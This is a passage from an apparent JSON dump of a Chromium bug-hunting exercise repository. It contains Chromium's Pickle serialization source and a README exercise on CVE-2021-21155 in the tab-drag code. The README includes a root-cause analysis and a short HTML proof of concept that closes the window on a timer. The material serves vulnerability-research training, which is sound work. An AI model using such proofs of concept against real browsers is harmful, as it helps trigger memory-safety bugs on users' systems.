    "content": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"base/pickle.h\"\n\n#include <stdlib.h>\n\n#include <algorithm>  // for max()\n#include <limits>\n\n#include \"base/bits.h\"\n#include \"base/macros.h\"\n#include \"base/numerics/safe_conversions.h\"\n#include \"base/numerics/safe_math.h\"\n#include \"build/build_config.h\"\n\nnamespace base {\n\n// static\nconst int Pickle::kPayloadUnit = 64;\n\nstatic const size_t kCapacityReadOnly = static_cast<size_t>(-1);\n\nPickleIterator::PickleIterator(const Pickle& pickle)\n    : payload_(pickle.payload()),\n      read_index_(0),\n      end_index_(pickle.payload_size()) {\n}\n\ntemplate <typename Type>\ninline bool PickleIterator::ReadBuiltinType(Type* result) {\n  const char* read_from = GetReadPointerAndAdvance<Type>();\n  if (!read_from)\n    return false;\n  if (sizeof(Type) > sizeof(uint32_t))\n    memcpy(result, read_from, sizeof(*result));\n  else\n    *result = *reinterpret_cast<const Type*>(read_from);\n  return true;\n}\n\ninline void PickleIterator::Advance(size_t size) {\n  size_t aligned_size = bits::AlignUp(size, sizeof(uint32_t));\n  if (end_index_ - read_index_ < aligned_size) {\n    read_index_ = end_index_;\n  } else {\n    read_index_ += aligned_size;\n  }\n}\n\ntemplate<typename Type>\ninline const char* PickleIterator::GetReadPointerAndAdvance() {\n  if (sizeof(Type) > end_index_ - read_index_) {\n    read_index_ = end_index_;\n    return nullptr;\n  }\n  const char* current_read_ptr = payload_ + read_index_;\n  Advance(sizeof(Type));\n  return current_read_ptr;\n}\n\nconst char* PickleIterator::GetReadPointerAndAdvance(int num_bytes) {\n  if (num_bytes < 0 ||\n      end_index_ - read_index_ < static_cast<size_t>(num_bytes)) {\n    read_index_ = end_index_;\n    return nullptr;\n  }\n  const char* current_read_ptr = payload_ + read_index_;\n  Advance(num_bytes);\n  return current_read_ptr;\n}\n\ninline const char* PickleIterator::GetReadPointerAndAdvance(\n    int num_elements,\n    size_t size_element) {\n  // Check for int32_t overflow.\n  int num_bytes;\n  if (!CheckMul(num_elements, size_element).AssignIfValid(&num_bytes))\n    return nullptr;\n  return GetReadPointerAndAdvance(num_bytes);\n}\n\nbool PickleIterator::ReadBool(bool* result) {\n  return ReadBuiltinType(result);\n}\n\nbool PickleIterator::ReadInt(int* result) {\n  return ReadBuiltinType(result);\n}\n\nbool PickleIterator::ReadLong(long* result) {\n  // Always read long as a 64-bit value to ensure compatibility between 32-bit\n  // and 64-bit processes.\n  int64_t result_int64 = 0;\n  if (!ReadBuiltinType(&result_int64))\n    return false;\n  // CHECK if the cast truncates the value so that we know to change this IPC\n  // parameter to use int64_t.\n  *result = base::checked_cast<long>(result_int64);\n  return true;\n}\n\nbool PickleIterator::ReadUInt16(uint16_t* result) {\n  return ReadBuiltinType(result);\n}\n\nbool PickleIterator::ReadUInt32(uint32_t* result) {\n  return ReadBuiltinType(result);\n}\n\nbool PickleIterator::ReadInt64(int64_t* result) {\n  return ReadBuiltinType(result);\n}\n\nbool PickleIterator::ReadUInt64(uint64_t* result) {\n  return ReadBuiltinType(result);\n}\n\nbool PickleIterator::ReadFloat(float* result) {\n  // crbug.com/315213\n  // The source data may not be properly aligned, and unaligned float reads\n  // cause SIGBUS on some ARM platforms, so force using memcpy to copy the data\n  // into the result.\n  const char* read_from = GetReadPointerAndAdvance<float>();\n  if (!read_from)\n    return false;\n  memcpy(result, read_from, sizeof(*result));\n  return true;\n}\n\nbool PickleIterator::ReadDouble(double* result) {\n  // crbug.com/315213\n  // The source data may not be properly aligned, and unaligned double reads\n  // cause SIGBUS on some ARM platforms, so force using memcpy to copy the data\n  // into the result.\n  const char* read_from = GetReadPointerAndAdvance<double>();\n  if (!read_from)\n    return false;\n  memcpy(result, read_from, sizeof(*result));\n  return true;\n}\n\nbool PickleIterator::ReadString(std::string* result) {\n  int len;\n  if (!ReadInt(&len))\n    return false;\n  const char* read_from = GetReadPointerAndAdvance(len);\n  if (!read_from)\n    return false;\n\n  result->assign(read_from, len);\n  return true;\n}\n\nbool PickleIterator::ReadStringPiece(StringPiece* result) {\n  int len;\n  if (!ReadInt(&len))\n    return false;\n  const char* read_from = GetReadPointerAndAdvance(len);\n  if (!read_from)\n    return false;\n\n  *result = StringPiece(read_from, len);\n  return true;\n}\n\nbool PickleIterator::ReadString16(string16* result) {\n  int len;\n  if (!ReadInt(&len))\n    return false;\n  const char* read_from = GetReadPointerAndAdvance(len, sizeof(char16));\n  if (!read_from)\n    return false;\n\n  result->assign(reinterpret_cast<const char16*>(read_from), len);\n  return true;\n}\n\nbool PickleIterator::ReadStringPiece16(StringPiece16* result) {\n  int len;\n  if (!ReadInt(&len))\n    return false;\n  const char* read_from = GetReadPointerAndAdvance(len, sizeof(char16));\n  if (!read_from)\n    return false;\n\n  *result = StringPiece16(reinterpret_cast<const char16*>(read_from), len);\n  return true;\n}\n\nbool PickleIterator::ReadData(const char** data, int* length) {\n  *length = 0;\n  *data = nullptr;\n\n  if (!ReadInt(length))\n    return false;\n\n  return ReadBytes(data, *length);\n}\n\nbool PickleIterator::ReadData(base::span<const uint8_t>* data) {\n  const char* ptr;\n  int length;\n\n  if (!ReadData(&ptr, &length))\n    return false;\n\n  *data = base::as_bytes(base::make_span(ptr, length));\n  return true;\n}\n\nbool PickleIterator::ReadBytes(const char** data, int length) {\n  const char* read_from = GetReadPointerAndAdvance(length);\n  if (!read_from)\n    return false;\n  *data = read_from;\n  return true;\n}\n\nPickle::Attachment::Attachment() = default;\n\nPickle::Attachment::~Attachment() = default;\n\n// Payload is uint32_t aligned.\n\nPickle::Pickle()\n    : header_(nullptr),\n      header_size_(sizeof(Header)),\n      capacity_after_header_(0),\n      write_offset_(0) {\n  static_assert(base::bits::IsPowerOfTwo(Pickle::kPayloadUnit),\n                \"Pickle::kPayloadUnit must be a power of two\");\n  Resize(kPayloadUnit);\n  header_->payload_size = 0;\n}\n\nPickle::Pickle(int header_size)\n    : header_(nullptr),\n      header_size_(bits::AlignUp(header_size, sizeof(uint32_t))),\n      capacity_after_header_(0),\n      write_offset_(0) {\n  DCHECK_GE(static_cast<size_t>(header_size), sizeof(Header));\n  DCHECK_LE(header_size, kPayloadUnit);\n  Resize(kPayloadUnit);\n  header_->payload_size = 0;\n}\n\nPickle::Pickle(const char* data, size_t data_len)\n    : header_(reinterpret_cast<Header*>(const_cast<char*>(data))),\n      header_size_(0),\n      capacity_after_header_(kCapacityReadOnly),\n      write_offset_(0) {\n  if (data_len >= static_cast<int>(sizeof(Header)))\n    header_size_ = data_len - header_->payload_size;\n\n  if (header_size_ > static_cast<unsigned int>(data_len))\n    header_size_ = 0;\n\n  if (header_size_ != bits::AlignUp(header_size_, sizeof(uint32_t)))\n    header_size_ = 0;\n\n  // If there is anything wrong with the data, we're not going to use it.\n  if (!header_size_)\n    header_ = nullptr;\n}\n\nPickle::Pickle(const Pickle& other)\n    : header_(nullptr),\n      header_size_(other.header_size_),\n      capacity_after_header_(0),\n      write_offset_(other.write_offset_) {\n  Resize(other.header_->payload_size);\n  memcpy(header_, other.header_, header_size_ + other.header_->payload_size);\n}\n\nPickle::~Pickle() {\n  if (capacity_after_header_ != kCapacityReadOnly)\n    free(header_);\n}\n\nPickle& Pickle::operator=(const Pickle& other) {\n  if (this == &other) {\n    return *this;\n  }\n  if (capacity_after_header_ == kCapacityReadOnly) {\n    header_ = nullptr;\n    capacity_after_header_ = 0;\n  }\n  if (header_size_ != other.header_size_) {\n    free(header_);\n    header_ = nullptr;\n    header_size_ = other.header_size_;\n  }\n  Resize(other.header_->payload_size);\n  memcpy(header_, other.header_,\n         other.header_size_ + other.header_->payload_size);\n  write_offset_ = other.write_offset_;\n  return *this;\n}\n\nvoid Pickle::WriteString(const StringPiece& value) {\n  WriteInt(static_cast<int>(value.size()));\n  WriteBytes(value.data(), static_cast<int>(value.size()));\n}\n\nvoid Pickle::WriteString16(const StringPiece16& value) {\n  WriteInt(static_cast<int>(value.size()));\n  WriteBytes(value.data(), static_cast<int>(value.size()) * sizeof(char16));\n}\n\nvoid Pickle::WriteData(const char* data, int length) {\n  DCHECK_GE(length, 0);\n  WriteInt(length);\n  WriteBytes(data, length);\n}\n\nvoid Pickle::WriteBytes(const void* data, int length) {\n  WriteBytesCommon(data, length);\n}\n\nvoid Pickle::Reserve(size_t length) {\n  size_t data_len = bits::AlignUp(length, sizeof(uint32_t));\n  DCHECK_GE(data_len, length);\n#ifdef ARCH_CPU_64_BITS\n  DCHECK_LE(data_len, std::numeric_limits<uint32_t>::max());\n#endif\n  DCHECK_LE(write_offset_, std::numeric_limits<uint32_t>::max() - data_len);\n  size_t new_size = write_offset_ + data_len;\n  if (new_size > capacity_after_header_)\n    Resize(capacity_after_header_ * 2 + new_size);\n}\n\nbool Pickle::WriteAttachment(scoped_refptr<Attachment> attachment) {\n  return false;\n}\n\nbool Pickle::ReadAttachment(base::PickleIterator* iter,\n                            scoped_refptr<Attachment>* attachment) const {\n  return false;\n}\n\nbool Pickle::HasAttachments() const {\n  return false;\n}\n\nvoid Pickle::Resize(size_t new_capacity) {\n  CHECK_NE(capacity_after_header_, kCapacityReadOnly);\n  capacity_after_header_ = bits::AlignUp(new_capacity, kPayloadUnit);\n  void* p = realloc(header_, GetTotalAllocatedSize());\n  CHECK(p);\n  header_ = reinterpret_cast<Header*>(p);\n}\n\nvoid* Pickle::ClaimBytes(size_t num_bytes) {\n  void* p = ClaimUninitializedBytesInternal(num_bytes);\n  CHECK(p);\n  memset(p, 0, num_bytes);\n  return p;\n}\n\nsize_t Pickle::GetTotalAllocatedSize() const {\n  if (capacity_after_header_ == kCapacityReadOnly)\n    return 0;\n  return header_size_ + capacity_after_header_;\n}\n\n// static\nconst char* Pickle::FindNext(size_t header_size,\n                             const char* start,\n                             const char* end) {\n  size_t pickle_size = 0;\n  if (!PeekNext(header_size, start, end, &pickle_size))\n    return nullptr;\n\n  if (pickle_size > static_cast<size_t>(end - start))\n    return nullptr;\n\n  return start + pickle_size;\n}\n\n// static\nbool Pickle::PeekNext(size_t header_size,\n                      const char* start,\n                      const char* end,\n                      size_t* pickle_size) {\n  DCHECK_EQ(header_size, bits::AlignUp(header_size, sizeof(uint32_t)));\n  DCHECK_GE(header_size, sizeof(Header));\n  DCHECK_LE(header_size, static_cast<size_t>(kPayloadUnit));\n\n  size_t length = static_cast<size_t>(end - start);\n  if (length < sizeof(Header))\n    return false;\n\n  const Header* hdr = reinterpret_cast<const Header*>(start);\n  if (length < header_size)\n    return false;\n\n  // If payload_size causes an overflow, we return maximum possible\n  // pickle size to indicate that.\n  *pickle_size = ClampAdd(header_size, hdr->payload_size);\n  return true;\n}\n\ntemplate <size_t length> void Pickle::WriteBytesStatic(const void* data) {\n  WriteBytesCommon(data, length);\n}\n\ntemplate void Pickle::WriteBytesStatic<2>(const void* data);\ntemplate void Pickle::WriteBytesStatic<4>(const void* data);\ntemplate void Pickle::WriteBytesStatic<8>(const void* data);\n\ninline void* Pickle::ClaimUninitializedBytesInternal(size_t length) {\n  DCHECK_NE(kCapacityReadOnly, capacity_after_header_)\n      << \"oops: pickle is readonly\";\n  size_t data_len = bits::AlignUp(length, sizeof(uint32_t));\n  DCHECK_GE(data_len, length);\n#ifdef ARCH_CPU_64_BITS\n  DCHECK_LE(data_len, std::numeric_limits<uint32_t>::max());\n#endif\n  DCHECK_LE(write_offset_, std::numeric_limits<uint32_t>::max() - data_len);\n  size_t new_size = write_offset_ + data_len;\n  if (new_size > capacity_after_header_) {\n    size_t new_capacity = capacity_after_header_ * 2;\n    const size_t kPickleHeapAlign = 4096;\n    if (new_capacity > kPickleHeapAlign) {\n      new_capacity =\n          bits::AlignUp(new_capacity, kPickleHeapAlign) - kPayloadUnit;\n    }\n    Resize(std::max(new_capacity, new_size));\n  }\n\n  char* write = mutable_payload() + write_offset_;\n  memset(write + length, 0, data_len - length);  // Always initialize padding\n  header_->payload_size = static_cast<uint32_t>(new_size);\n  write_offset_ = new_size;\n  return write;\n}\n\ninline void Pickle::WriteBytesCommon(const void* data, size_t length) {\n  DCHECK_NE(kCapacityReadOnly, capacity_after_header_)\n      << \"oops: pickle is readonly\";\n  MSAN_CHECK_MEM_IS_INITIALIZED(data, length);\n  void* write = ClaimUninitializedBytesInternal(length);\n  memcpy(write, data, length);\n}\n\n}  // namespace base\n"
  },
  {
    "path": "LEVEL_3/exercise_6/pickle.h",
    "content": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef BASE_PICKLE_H_\n#define BASE_PICKLE_H_\n\n#include <stddef.h>\n#include <stdint.h>\n\n#include <string>\n\n#include \"base/base_export.h\"\n#include \"base/check_op.h\"\n#include \"base/containers/span.h\"\n#include \"base/gtest_prod_util.h\"\n#include \"base/memory/ref_counted.h\"\n#include \"base/strings/string16.h\"\n#include \"base/strings/string_piece.h\"\n\nnamespace base {\n\nclass Pickle;\n\n// PickleIterator reads data from a Pickle. The Pickle object must remain valid\n// while the PickleIterator object is in use.\nclass BASE_EXPORT PickleIterator {\n public:\n  PickleIterator() : payload_(nullptr), read_index_(0), end_index_(0) {}\n  explicit PickleIterator(const Pickle& pickle);\n\n  // Methods for reading the payload of the Pickle. To read from the start of\n  // the Pickle, create a PickleIterator from a Pickle. If successful, these\n  // methods return true. Otherwise, false is returned to indicate that the\n  // result could not be extracted. It is not possible to read from the iterator\n  // after that.\n  bool ReadBool(bool* result) WARN_UNUSED_RESULT;\n  bool ReadInt(int* result) WARN_UNUSED_RESULT;\n  bool ReadLong(long* result) WARN_UNUSED_RESULT;\n  bool ReadUInt16(uint16_t* result) WARN_UNUSED_RESULT;\n  bool ReadUInt32(uint32_t* result) WARN_UNUSED_RESULT;\n  bool ReadInt64(int64_t* result) WARN_UNUSED_RESULT;\n  bool ReadUInt64(uint64_t* result) WARN_UNUSED_RESULT;\n  bool ReadFloat(float* result) WARN_UNUSED_RESULT;\n  bool ReadDouble(double* result) WARN_UNUSED_RESULT;\n  bool ReadString(std::string* result) WARN_UNUSED_RESULT;\n  // The StringPiece data will only be valid for the lifetime of the message.\n  bool ReadStringPiece(StringPiece* result) WARN_UNUSED_RESULT;\n  bool ReadString16(string16* result) WARN_UNUSED_RESULT;\n  // The StringPiece16 data will only be valid for the lifetime of the message.\n  bool ReadStringPiece16(StringPiece16* result) WARN_UNUSED_RESULT;\n\n  // A pointer to the data will be placed in |*data|, and the length will be\n  // placed in |*length|. The pointer placed into |*data| points into the\n  // message's buffer so it will be scoped to the lifetime of the message (or\n  // until the message data is mutated). Do not keep the pointer around!\n  bool ReadData(const char** data, int* length) WARN_UNUSED_RESULT;\n\n  // Similar, but using base::span for convenience.\n  bool ReadData(base::span<const uint8_t>* data) WARN_UNUSED_RESULT;\n\n  // A pointer to the data will be placed in |*data|. The caller specifies the\n  // number of bytes to read, and ReadBytes will validate this length. The\n  // pointer placed into |*data| points into the message's buffer so it will be\n  // scoped to the lifetime of the message (or until the message data is\n  // mutated). Do not keep the pointer around!\n  bool ReadBytes(const char** data, int length) WARN_UNUSED_RESULT;\n\n  // A safer version of ReadInt() that checks for the result not being negative.\n  // Use it for reading the object sizes.\n  bool ReadLength(int* result) WARN_UNUSED_RESULT {\n    return ReadInt(result) && *result >= 0;\n  }\n\n  // Skips bytes in the read buffer and returns true if there are at least\n  // num_bytes available. Otherwise, does nothing and returns false.\n  bool SkipBytes(int num_bytes) WARN_UNUSED_RESULT {\n    return !!GetReadPointerAndAdvance(num_bytes);\n  }\n\n  bool ReachedEnd() const { return read_index_ == end_index_; }\n\n private:\n  // Read Type from Pickle.\n  template <typename Type>\n  bool ReadBuiltinType(Type* result);\n\n  // Advance read_index_ but do not allow it to exceed end_index_.\n  // Keeps read_index_ aligned.\n  void Advance(size_t size);\n\n  // Get read pointer for Type and advance read pointer.\n  template<typename Type>\n  const char* GetReadPointerAndAdvance();\n\n  // Get read pointer for |num_bytes| and advance read pointer. This method\n  // checks num_bytes for negativity and wrapping.\n  const char* GetReadPointerAndAdvance(int num_bytes);\n\n  // Get read pointer for (num_elements * size_element) bytes and advance read\n  // pointer. This method checks for int overflow, negativity and wrapping.\n  const char* GetReadPointerAndAdvance(int num_elements,\n                                       size_t size_element);\n\n  const char* payload_;  // Start of our pickle's payload.\n  size_t read_index_;  // Offset of the next readable byte in payload.\n  size_t end_index_;  // Payload size.\n\n  FRIEND_TEST_ALL_PREFIXES(PickleTest, GetReadPointerAndAdvance);\n};\n\n// This class provides facilities for basic binary value packing and unpacking.\n//\n// The Pickle class supports appending primitive values (ints, strings, etc.)\n// to a pickle instance.  The Pickle instance grows its internal memory buffer\n// dynamically to hold the sequence of primitive values.   The internal memory\n// buffer is exposed as the \"data\" of the Pickle.  This \"data\" can be passed\n// to a Pickle object to initialize it for reading.\n//\n// When reading from a Pickle object, it is important for the consumer to know\n// what value types to read and in what order to read them as the Pickle does\n// not keep track of the type of data written to it.\n//\n// The Pickle's data has a header which contains the size of the Pickle's\n// payload.  It can optionally support additional space in the header.  That\n// space is controlled by the header_size parameter passed to the Pickle\n// constructor.\n//\nclass BASE_EXPORT Pickle {\n public:\n  // Auxiliary data attached to a Pickle. Pickle must be subclassed along with\n  // this interface in order to provide a concrete implementation of support\n  // for attachments. The base Pickle implementation does not accept\n  // attachments.\n  class BASE_EXPORT Attachment : public RefCountedThreadSafe<Attachment> {\n   public:\n    Attachment();\n    Attachment(const Attachment&) = delete;\n    Attachment& operator=(const Attachment&) = delete;\n\n   protected:\n    friend class RefCountedThreadSafe<Attachment>;\n    virtual ~Attachment();\n  };\n\n  // Initialize a Pickle object using the default header size.\n  Pickle();\n\n  // Initialize a Pickle object with the specified header size in bytes, which\n  // must be greater-than-or-equal-to sizeof(Pickle::Header).  The header size\n  // will be rounded up to ensure that the header size is 32bit-aligned.\n  explicit Pickle(int header_size);\n\n  // Initializes a Pickle from a const block of data.  The data is not copied;\n  // instead the data is merely referenced by this Pickle.  Only const methods\n  // should be used on the Pickle when initialized this way.  The header\n  // padding size is deduced from the data length.\n  Pickle(const char* data, size_t data_len);\n\n  // Initializes a Pickle as a deep copy of another Pickle.\n  Pickle(const Pickle& other);\n\n  // Note: There are no virtual methods in this class.  This destructor is\n  // virtual as an element of defensive coding.  Other classes have derived from\n  // this class, and there is a *chance* that they will cast into this base\n  // class before destruction.  At least one such class does have a virtual\n  // destructor, suggesting at least some need to call more derived destructors.\n  virtual ~Pickle();\n\n  // Performs a deep copy.\n  Pickle& operator=(const Pickle& other);\n\n  // Returns the number of bytes written in the Pickle, including the header.\n  size_t size() const { return header_size_ + header_->payload_size; }\n\n  // Returns the data for this Pickle.\n  const void* data() const { return header_; }\n\n  // Returns the effective memory capacity of this Pickle, that is, the total\n  // number of bytes currently dynamically allocated or 0 in the case of a\n  // read-only Pickle. This should be used only for diagnostic / profiling\n  // purposes.\n  size_t GetTotalAllocatedSize() const;\n\n  // Methods for adding to the payload of the Pickle.  These values are\n  // appended to the end of the Pickle's payload.  When reading values from a\n  // Pickle, it is important to read them in the order in which they were added\n  // to the Pickle.\n\n  void WriteBool(bool value) { WriteInt(value ? 1 : 0); }\n  void WriteInt(int value) { WritePOD(value); }\n  void WriteLong(long value) {\n    // Always write long as a 64-bit value to ensure compatibility between\n    // 32-bit and 64-bit processes.\n    WritePOD(static_cast<int64_t>(value));\n  }\n  void WriteUInt16(uint16_t value) { WritePOD(value); }\n  void WriteUInt32(uint32_t value) { WritePOD(value); }\n  void WriteInt64(int64_t value) { WritePOD(value); }\n  void WriteUInt64(uint64_t value) { WritePOD(value); }\n  void WriteFloat(float value) { WritePOD(value); }\n  void WriteDouble(double value) { WritePOD(value); }\n  void WriteString(const StringPiece& value);\n  void WriteString16(const StringPiece16& value);\n  // \"Data\" is a blob with a length. When you read it out you will be given the\n  // length. See also WriteBytes.\n  void WriteData(const char* data, int length);\n  // \"Bytes\" is a blob with no length. The caller must specify the length both\n  // when reading and writing. It is normally used to serialize PoD types of a\n  // known size. See also WriteData.\n  void WriteBytes(const void* data, int length);\n\n  // WriteAttachment appends |attachment| to the pickle. It returns\n  // false iff the set is full or if the Pickle implementation does not support\n  // attachments.\n  virtual bool WriteAttachment(scoped_refptr<Attachment> attachment);\n\n  // ReadAttachment parses an attachment given the parsing state |iter| and\n  // writes it to |*attachment|. It returns true on success.\n  virtual bool ReadAttachment(base::PickleIterator* iter,\n                              scoped_refptr<Attachment>* attachment) const;\n\n  // Indicates whether the pickle has any attachments.\n  virtual bool HasAttachments() const;\n\n  // Reserves space for upcoming writes when multiple writes will be made and\n  // their sizes are computed in advance. It can be significantly faster to call\n  // Reserve() before calling WriteFoo() multiple times.\n  void Reserve(size_t additional_capacity);\n\n  // Payload follows after allocation of Header (header size is customizable).\n  struct Header {\n    uint32_t payload_size;  // Specifies the size of the payload.\n  };\n\n  // Returns the header, cast to a user-specified type T.  The type T must be a\n  // subclass of Header and its size must correspond to the header_size passed\n  // to the Pickle constructor.\n  template <class T>\n  T* headerT() {\n    DCHECK_EQ(header_size_, sizeof(T));\n    return static_cast<T*>(header_);\n  }\n  template <class T>\n  const T* headerT() const {\n    DCHECK_EQ(header_size_, sizeof(T));\n    return static_cast<const T*>(header_);\n  }\n\n  // The payload is the pickle data immediately following the header.\n  size_t payload_size() const {\n    return header_ ? header_->payload_size : 0;\n  }\n\n  const char* payload() const {\n    return reinterpret_cast<const char*>(header_) + header_size_;\n  }\n\n  // Returns the address of the byte immediately following the currently valid\n  // header + payload.\n  const char* end_of_payload() const {\n    // This object may be invalid.\n    return header_ ? payload() + payload_size() : NULL;\n  }\n\n protected:\n  // Returns size of the header, which can have default value, set by user or\n  // calculated by passed raw data.\n  size_t header_size() const { return header_size_; }\n\n  char* mutable_payload() {\n    return reinterpret_cast<char*>(header_) + header_size_;\n  }\n\n  size_t capacity_after_header() const {\n    return capacity_after_header_;\n  }\n\n  // Resize the capacity, note that the input value should not include the size\n  // of the header.\n  void Resize(size_t new_capacity);\n\n  // Claims |num_bytes| bytes of payload. This is similar to Reserve() in that\n  // it may grow the capacity, but it also advances the write offset of the\n  // pickle by |num_bytes|. Claimed memory, including padding, is zeroed.\n  //\n  // Returns the address of the first byte claimed.\n  void* ClaimBytes(size_t num_bytes);\n\n  // Find the end of the pickled data that starts at range_start.  Returns NULL\n  // if the entire Pickle is not found in the given data range.\n  static const char* FindNext(size_t header_size,\n                              const char* range_start,\n                              const char* range_end);\n\n  // Parse pickle header and return total size of the pickle. Data range\n  // doesn't need to contain entire pickle.\n  // Returns true if pickle header was found and parsed. Callers must check\n  // returned |pickle_size| for sanity (against maximum message size, etc).\n  // NOTE: when function successfully parses a header, but encounters an\n  // overflow during pickle size calculation, it sets |pickle_size| to the\n  // maximum size_t value and returns true.\n  static bool PeekNext(size_t header_size,\n                       const char* range_start,\n                       const char* range_end,\n                       size_t* pickle_size);\n\n  // The allocation granularity of the payload.\n  static const int kPayloadUnit;\n\n private:\n  friend class PickleIterator;\n\n  Header* header_;\n  size_t header_size_;  // Supports extra data between header and payload.\n  // Allocation size of payload (or -1 if allocation is const). Note: this\n  // doesn't count the header.\n  size_t capacity_after_header_;\n  // The offset at which we will write the next field. Note: this doesn't count\n  // the header.\n  size_t write_offset_;\n\n  // Just like WriteBytes, but with a compile-time size, for performance.\n  template<size_t length> void BASE_EXPORT WriteBytesStatic(const void* data);\n\n  // Writes a POD by copying its bytes.\n  template <typename T> bool WritePOD(const T& data) {\n    WriteBytesStatic<sizeof(data)>(&data);\n    return true;\n  }\n\n  inline void* ClaimUninitializedBytesInternal(size_t num_bytes);\n  inline void WriteBytesCommon(const void* data, size_t length);\n\n  FRIEND_TEST_ALL_PREFIXES(PickleTest, DeepCopyResize);\n  FRIEND_TEST_ALL_PREFIXES(PickleTest, Resize);\n  FRIEND_TEST_ALL_PREFIXES(PickleTest, PeekNext);\n  FRIEND_TEST_ALL_PREFIXES(PickleTest, PeekNextOverflow);\n  FRIEND_TEST_ALL_PREFIXES(PickleTest, FindNext);\n  FRIEND_TEST_ALL_PREFIXES(PickleTest, FindNextWithIncompleteHeader);\n  FRIEND_TEST_ALL_PREFIXES(PickleTest, FindNextOverflow);\n};\n\n}  // namespace base\n\n#endif  // BASE_PICKLE_H_\n"
  },
  {
    "path": "LEVEL_3/exercise_7/README.md",
    "content": "# Exercise 7\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene.\n\nLEVEL 2 we do the same as LEVEL 1 without the help of Details.\n\nBut the bug report need Poc to assist developer reproduce the vulnerability, and know exactly what cause this bug. So LEVEL 3 need we construct Poc by ourselves.\n\n## CVE-2021-21155\nI sugget you don't search any report about it to prevents get too much info like patch.\n\n\n\n### Details\n\nIn level 3, we do it without the help of Details\n\n\n---------\n\n<details>\n  <summary>For more info click me! But you'd better not do this</summary>\n\n  https://bugs.chromium.org/p/chromium/issues/detail?id=1175500\n\n</details>\n\n--------\n\n### Set environment\n\nafter fetch chromium\n```sh\ngit reset --hard c57ba0a5dacc78c7a1954c99d381b77ec771fba6\n```\n\n\n\n### Related code\n\nchrome/browser/ui/views/tabs/tab_drag_controller.cc\n\nAbout TabDragController:\n```c++\n// TabDragController is responsible for managing the tab dragging session. When\n// the user presses the mouse on a tab a new TabDragController is created and\n// Drag() is invoked as the mouse is dragged. If the mouse is dragged far enough\n// TabDragController starts a drag session. The drag session is completed when\n// EndDrag() is invoked (or the TabDragController is destroyed).\n//\n// While dragging within a tab strip TabDragController sets the bounds of the\n// tabs (this is referred to as attached). When the user drags far enough such\n// that the tabs should be moved out of the tab strip a new Browser is created\n// and RunMoveLoop() is invoked on the Widget to drag the browser around. This\n// is the default on aura.\n```\n\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer</summary>\n\n\n  ```c++\nvoid TabDragController::RevertDragAt(size_t drag_index) {\n  DCHECK_NE(current_state_, DragState::kNotStarted);\n  DCHECK(source_context_);\n\n  base::AutoReset<bool> setter(&is_mutating_, true);\n  TabDragData* data = &(drag_data_[drag_index]);\n  int target_index = data->source_model_index;\n  if (attached_context_) {\n    int index = attached_context_->GetTabStripModel()->GetIndexOfWebContents(\n        data->contents);\n    if (attached_context_ != source_context_) {\n      // The Tab was inserted into another TabDragContext. We need to\n      // put it back into the original one.\n      std::unique_ptr<content::WebContents> detached_web_contents =\n          attached_context_->GetTabStripModel()->DetachWebContentsAt(index);\n      // TODO(beng): (Cleanup) seems like we should use Attach() for this\n      //             somehow.\n      source_context_->GetTabStripModel()->InsertWebContentsAt(\n          target_index, std::move(detached_web_contents),\n          (data->pinned ? TabStripModel::ADD_PINNED : 0));\n    } else {\n      // The Tab was moved within the TabDragContext where the drag\n      // was initiated. Move it back to the starting location.\n\n      // If the target index is to the right, then other unreverted tabs are\n      // occupying indices between this tab and the target index. Those\n      // unreverted tabs will later be reverted to the right of the target\n      // index, so we skip those indices.\n      if (target_index > index) {\n        for (size_t i = drag_index + 1; i < drag_data_.size(); ++i) {\n          if (drag_data_[i].contents)\n            ++target_index;\n        }\n      }\n      source_context_->GetTabStripModel()->MoveWebContentsAt(   [1]\n          index, target_index, false);\n    }\n  } else {\n    // The Tab was detached from the TabDragContext where the drag\n    // began, and has not been attached to any other TabDragContext.\n    // We need to put it back into the source TabDragContext.\n    source_context_->GetTabStripModel()->InsertWebContentsAt(\n        target_index, std::move(data->owned_contents),\n        (data->pinned ? TabStripModel::ADD_PINNED : 0));\n  }\n  source_context_->GetTabStripModel()->UpdateGroupForDragRevert(\n      target_index,\n      data->tab_group_data.has_value()\n          ? base::Optional<tab_groups::TabGroupId>{data->tab_group_data.value()\n                                                       .group_id}\n          : base::nullopt,\n      data->tab_group_data.has_value()\n          ? base::Optional<\n                tab_groups::TabGroupVisualData>{data->tab_group_data.value()\n                                                    .group_visual_data}\n          : base::nullopt);\n}\n  ```\n  [1] We can get info about these conditions judged by `if` from comment, `MoveWebContentsAt` do just like its name.\n  ```c++\nint TabStripModel::MoveWebContentsAt(int index,\n                                     int to_position,\n                                     bool select_after_move) {\n  ReentrancyCheck reentrancy_check(&reentrancy_guard_);\n\n  CHECK(ContainsIndex(index));\n\n  to_position = ConstrainMoveIndex(to_position, IsTabPinned(index));   [2]\n\n  if (index == to_position)\n    return to_position;       [3]\n\n  MoveWebContentsAtImpl(index, to_position, select_after_move);\n  EnsureGroupContiguity(to_position);\n\n  return to_position;\n}\n  ```\n\n  [2] `to_position` is `target_index`, and it has been chenged, [3] return the `to_position` which has been chenged, we should assign it back to `target_index`. But in truth, we don't.\n\n  ```c++\nif (target_index > index) {\n  for (size_t i = drag_index + 1; i < drag_data_.size(); ++i) {\n    if (drag_data_[i].contents)\n      ++target_index;\n  }\n}\nsource_context_->GetTabStripModel()->MoveWebContentsAt(    // The return value should assign to target_index\n    index, target_index, false);\n  ```\n  \n  **Poc**\n  ```html\n\n<button id=\"test1\">Trigger</button>\n<script>\n\tvar test1 = document.getElementById(\"test1\");\n\ttest1.onclick = () =>{\n\t\tsetTimeout(()=>{window.close();},3000);\n\t}\n</script>\n  ```\n  \n</details>\n\n--------\n"
  },
  {
    "path": "README.md",
